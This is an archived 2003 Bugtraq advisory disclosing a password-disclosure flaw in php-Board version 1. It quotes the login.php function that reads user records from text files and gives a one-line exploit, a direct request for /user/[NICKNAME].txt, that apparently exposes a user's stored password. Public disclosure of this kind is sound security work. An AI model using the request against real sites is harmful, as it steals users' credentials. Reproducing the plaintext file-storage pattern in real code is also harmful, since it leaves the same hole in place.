[28922] in bugtraq

home	help	back	first	fref	pref	prev	next	nref	lref	last	post

php-Board (php)

daemon@ATHENA.MIT.EDU (Frog Man)
Tue Feb 18 11:37:45 2003

From: "Frog Man" <leseulfrog@hotmail.com>
To: bugtraq@securityfocus.com
Date: Sat, 15 Feb 2003 10:34:11 +0100
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1; format=flowed
Message-ID: <F16385dXf4X5e5Wsjjz0000cd14@hotmail.com>



Informations :
°°°°°°°°°°°°°°
Website : http://www.hp-planet.de
Version : 1
Problem : Informations disclosure


PHP Code/Location :
°°°°°°°°°°°°°°°°°°°
login.php :
-----------------------------------------
function passwd2($user)
{
$password="nicht registriert";
if (file_exists("user/".$user.".txt"))
{
$fp = fopen("user/".$user.".txt","r");
$data = fgetcsv($fp,10000,"#");
fclose($fp);
$password=$data[0];
}
return($password);
}
-----------------------------------------



Exploit :
°°°°°°°°°
http://[target]/user/[NICKNAME].txt



More details :
°°°°°°°°°°°°°°
In French :
http://www.frog-man.org/tutos/5holes8.txt

Translated by Google :
http://translate.google.com/translate?u=http%3A%2F%2Fwww.frog-man.org%2Ftutos%2F5holes8.txt&langpair=fr%7Cen&hl=fr&ie=ISO-8859-1&prev=%2Flanguage_tools





frog-m@n
http://www.phpsecure.org



_________________________________________________________________

home	help	back	first	fref	pref	prev	next	nref	lref	last	post